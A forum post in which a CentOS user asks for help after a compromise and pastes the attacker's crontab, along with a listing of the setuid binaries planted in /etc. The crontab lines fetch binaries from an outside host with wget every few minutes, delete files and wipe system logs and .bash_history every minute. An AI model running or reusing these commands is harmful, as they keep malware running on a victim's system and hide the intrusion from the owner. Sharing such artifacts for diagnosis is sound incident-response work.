title: CentOS got hacked in, crontab has been modified
body: <p>I believe someone/virus hacked in my CentOS which I recently opened SSH for one day. The box is in LAN. I just need to use it for a while when I am outside. </p>
  
  <p>That night, the linux becomes slow to access via SSH in the LAN and slow to open any local webpages. It is acting very strange. I check the CPU which is sometimes very high. So I check the crontab. It has been changed. </p>
  
  <p>There are bunch of stuff like this:</p>
  
  <pre><code>20 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
  */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
  */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
  */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
  */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
  */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
  */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
  */120 * * * * cd /root;rm -rf dir nohup.out
  */360 * * * * cd /etc;rm -rf dir atdd
  */360 * * * * cd /etc;rm -rf dir ksapd
  */360 * * * * cd /etc;rm -rf dir kysapd
  */360 * * * * cd /etc;rm -rf dir skysapd
  */360 * * * * cd /etc;rm -rf dir sksapd
  */360 * * * * cd /etc;rm -rf dir xfsdx
  */1 * * * * cd /etc;rm -rf dir cupsdd.*
  */1 * * * * cd /etc;rm -rf dir atdd.*
  */1 * * * * cd /etc;rm -rf dir ksapd.*
  */1 * * * * cd /etc;rm -rf dir kysapd.*
  */1 * * * * cd /etc;rm -rf dir skysapd.*
  */1 * * * * cd /etc;rm -rf dir sksapd.*
  */1 * * * * cd /etc;rm -rf dir xfsdx.*
  */1 * * * * cd /var/log &gt; dmesg
  */1 * * * * cd /var/log &gt; auth.log
  */1 * * * * cd /var/log &gt; alternatives.log
  */1 * * * * cd /var/log &gt; boot.log
  */1 * * * * cd /var/log &gt; btmp
  */1 * * * * cd /var/log &gt; cron
  */1 * * * * cd /var/log &gt; cups
  */1 * * * * cd /var/log &gt; daemon.log
  */1 * * * * cd /var/log &gt; dpkg.log
  */1 * * * * cd /var/log &gt; faillog
  */1 * * * * cd /var/log &gt; kern.log
  */1 * * * * cd /var/log &gt; lastlog
  */1 * * * * cd /var/log &gt; maillog
  */1 * * * * cd /var/log &gt; user.log
  */1 * * * * cd /var/log &gt; Xorg.x.log
  */1 * * * * cd /var/log &gt; anaconda.log
  */1 * * * * cd /var/log &gt; yum.log
  */1 * * * * cd /var/log &gt; secure
  */1 * * * * cd /var/log &gt; wtmp
  */1 * * * * cd /var/log &gt; utmp
  */1 * * * * cd /var/log &gt; messages
  */1 * * * * cd /var/log &gt; spooler
  */1 * * * * cd /var/log &gt; sudolog
  */1 * * * * cd /var/log &gt; aculog
  */1 * * * * cd /var/log &gt; access-log
  */1 * * * * cd /root &gt; .bash_history
  </code></pre>
  
  <p>I can see that my /etc/ folder now has many folders in red like this</p>
  
  <pre><code>srwsrwt  1 root root  1524643 Jan 31 21:06 atdd
  -rwsrwsrwt  1 root root  1524643 Jan 31 21:06 atddd
  srwsrwt  1 root root  1258750 Nov 24 14:22 cupsdd
  -rwsrwsrwt  1 root root  1258750 Nov 24 14:22 cupsddd
  srwsrwt  1 root root  1524643 Jan 31 21:06 ksapd
  -rwsrwsrwt  1 root root  1524643 Jan 31 21:06 ksapdd
  -rwsrwsrwt  1 root root  1524643 Jan 31 21:06 kysapdd
  srwsrwt  1 root root  1524643 Jan 10 20:06 sksapd
  -rwsrwsrwt  1 root root  1524643 Jan 31 21:07 sksapdd
  -rwsrwsrwt  1 root root  1524643 Oct 24 04:55 skysapd
  -rwsrwsrwt  1 root root  1524643 Jan 31 21:07 skysapdd
  srwsrwt  1 root root  1524643 Feb  5 17:26 xfsdx
  -rwsrwsrwt  1 root root  1524643 Feb  5 17:26 xfsdxd
  </code></pre>
  
  <p>What happened? What can I do?</p>